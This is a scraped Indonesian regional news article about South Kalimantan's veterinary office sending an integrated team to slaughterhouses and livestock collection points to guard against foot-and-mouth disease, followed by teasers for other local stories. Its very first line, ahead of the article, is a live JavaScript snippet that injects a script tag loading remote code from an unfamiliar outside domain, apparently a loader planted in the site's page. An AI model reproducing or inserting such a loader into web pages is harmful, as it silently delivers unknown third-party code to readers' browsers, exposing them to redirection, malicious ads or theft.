(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pencegahan dini penyebaran penyakit mulut dan kuku (PMK) pada hewan ternak, Dinas Perkebunan dan Peternakan (Disbunnak) Kalsel turunkan tim terpadu.
Tim terpadu melakukan pelacakan dalam rangka kewaspadaan dini PMK pada hewan ternak sapi di Kalimantan Selatan.
Anggota tim terpadu berasal dari Tim Kesehatan Hewan Disbunnak Kalsel, Balai Veteriner Banjarbaru, Balai Karantina Pertanian Kelas 1 Banjarmasin,Dinas Ketahanan Pangan, Pertanian dan Perikanan Kota Banjarbaru, Dinas Ketahanan Pangan, Pertanian dan Perikanan Kota Banjarmasin, dan Dinas Peternakan dan Perkebunan Kabupaten Banjar.
Kepala Disbunnak Kalsel drh Suparmi mengatakan, sejak intruksi gubernur dikelurakan pihak langsung bergerak cepat melakukan berbagai antisipasi, salah satunya tentu melakukan pelacakan hewan ternak sejak Minggu (8/5/2022).
“Kita bergerak cepat sebagaimana intruksi Gubernur. Kita turunkan tim terpadu dan melakukan pelacakan di Rumah Potong Hewan (RPH) dan tempat-tempat pengumpul ternak sapi, kerbau dan kambing di Kota Banjarmasin, Kota Banjarbaru, dan Kabupaten Banjar,” kata Suparmi.
Suparmi menjelaskan, pada wilayah Kota Banjarbaru dilakukan pemantauan pada 3 tempat pengumpul sapi dan 1 tempat pengumpul kambing. Sedangkan untuk wilayah Kabupaten Banjar dilakukan di RPH Martapura dan 3 tempat pengumpul sapi.
Sementara untuk Kota Banjarmasin dilakukan pemantauan di RPH Basirih Banjarmasin, dan 2 tempat pengumpul sapi dan 1 tempat pengumpul kambing.
Tim terpadu melakukan pemeriksaan kesehatan pada hewan ternak yang ada dan pengambilan sampel, tracing pemasukan ternak dan distribusi ternak dalam dua bulan terakhir.
Selain itu juga melakukan sosialisasi dan KIE pada staf RPH dan pemilik tempat pengumpul ternak terkait kewaspadaan PMK.
Baca juga: Besok, Haul ke-216 Datu Kalampayan di Mahligai Pancasila
“Pengawasan di pintu masuk melalui jalur laut dilakukan terhadap KM Dharma Rucitra I di Pelabuhan Trisakti yang datang dari Tanjung Perak Surabaya. Pemantauan menggunakan mobil layanan karantina, hasilnya nihil penyakit ternak yang berasal dari Propinsi Jawa Timur,” bebernya.
“Sejauh sampai hari ini belum kita temukan penyakit mulut dan kuku pada ternak yang ada di Kalsel. Semoga kewaspadaan ini benar-benar membuat hewan ternak di Kalsel bebas penyakit,” tandas Suparmi.
Sebelumnya, sesuai dengan arahan Gubernur Kalsel H Sahbirin Noor diinstrukasi melakukan upaya pencegahan dan pengendalian PMK pada hewan ternak ruminansia, antara lain dengan meningkatkan biosekuriti dan memperketat pengawasan lalu lintas ternak. Mengingat banyaknya ternak yang berada di pengumpul ternak merupakan ternak yang berasal dari luar Kalsel.
Masyarakat yang melakukan usaha berkaitan dengan lalu lintas ternak agar selalu mematuhi peraturan berlaku dan melaksanakan tertib administrasi, serta melaporkan kepada petugas fungsi kesehatan hewan jika ditemukan hewan ternak yang sakit. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
This website uses cookies.